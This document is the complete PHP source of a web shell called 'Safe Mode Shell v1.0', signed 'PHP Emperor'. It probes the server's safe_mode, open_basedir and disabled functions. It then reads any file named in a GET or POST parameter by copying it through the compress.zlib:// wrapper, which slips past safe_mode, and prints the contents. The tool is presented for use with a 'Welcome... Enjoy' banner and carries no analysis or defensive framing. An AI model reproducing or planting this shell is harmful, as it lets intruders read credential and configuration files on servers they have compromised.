!Safe Mode Shell v1.0!
*/ echo "Safe Mode Shell"; $tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = true; $hsafemode = "ON (secure)"; } else {$safemode = false; $hsafemode = "OFF (not secure)";} echo("Safe-mode: $hsafemode"); $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v."";} else {$openbasedir = false; $hopenbasedir = "OFF (not secure)";} echo("
"); echo("Open base dir: $hopenbasedir"); echo("
"); echo "Disable functions : "; if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";} $free = @diskfreespace($dir); if (!$free) {$free = 0;} $all = @disk_total_space($dir); if (!$all) {$all = 0;} $used = $all-$free; $used_percent = @round(100/($all/$free),2); echo "\n"; if(empty($file)){ if(empty($_GET['file'])){ if(empty($_POST['file'])){ die("\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\n PHP Emperor xb5@hotmail.com"); } else { $file=$_POST['file']; } } else { $file=$_GET['file']; } } $temp=tempnam($tymczas, "cx"); if(copy("compress.zlib://".$file, $temp)){ $zrodlo = fopen($temp, "r"); $tekst = fread($zrodlo, filesize($temp)); fclose($zrodlo); echo "--- Start File ".htmlspecialchars($file)." -------------\n".htmlspecialchars($tekst)."\n--- End File ".htmlspecialchars($file)." ---------------\n"; unlink($temp); die("\nFile ".htmlspecialchars($file)." has been already loaded. PHP Emperor ;]"); } else { die("Sorry... File ".htmlspecialchars($file)." dosen't exists or you don't have access.
"); } ?>